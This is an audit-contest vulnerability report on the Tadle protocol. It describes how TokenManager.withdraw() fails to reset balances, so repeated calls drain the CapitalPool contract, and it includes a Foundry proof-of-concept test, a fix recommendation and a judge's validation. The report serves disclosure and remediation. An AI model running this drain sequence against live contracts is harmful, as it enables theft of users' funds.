Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

CapitalPool.sol can be drained by repeatedly calling withdraw() once attacker has a non-zero TokenBalanceType

wellbyt3

Summary

An attacker can drain the CapitalPool() contract of any collateral token because the withdraw() function in TokenManager() doesn't update balance information in userTokenBalanceMap prior to transferring tokens.

Vulnerability Details

An attacker can call createOffer() to create an offer. Once a taker calls createTaker() on their offer, the attacker's SalesRevenue TokenBalance will be non-zero (note, attack could even do this themself from another address). Now the attacker can repeatedly call the withdraw() function passing in TokenBalanceType.SalesRevenue to drain the CapitalPool() contract of the collateral tokens that they used in their original offer.

Here's a POC (add to PreMarket.t.sol) showing the CapitalPool.sol contract being drained:

import {console} from "forge-std/Console.sol";
​
function testDrainCapitalPool() public {
// Give Capital Pool funds, so we can drain them
vm.startPrank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
deal(address(mockUSDCToken), address(capitalPool), 99_900_000e18);
console.log("CapitalPool Starting Balance: ", mockUSDCToken.balanceOf(address(capitalPool)) / 1e18);
vm.stopPrank();
​
// Attacker (user) creates an offer
vm.startPrank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
20000000e18,
10000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
// Taker (user2) buys the offer
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
​
// Now attacker's userTokenBalanceMap's of the following are non-zero:
// 1.TokenBalanceType.TaxIncome
// 2. TokenBalanceType.SalesRevenue are non-zero.
// Now attacker spams withdraw to drain capital pool
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log("CapitalPool Ending Balance: ", mockUSDCToken.balanceOf(address(capitalPool)) / 1e18);
assertEq(mockUSDCToken.balanceOf(address(capitalPool)),0);
vm.stopPrank();
​
}

Impact

Loss of funds.

Tools Used

Manual Review / Foundry

Recommendations

Update the userTokenBalanceMap prior to transfer tokens in withdraw()

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.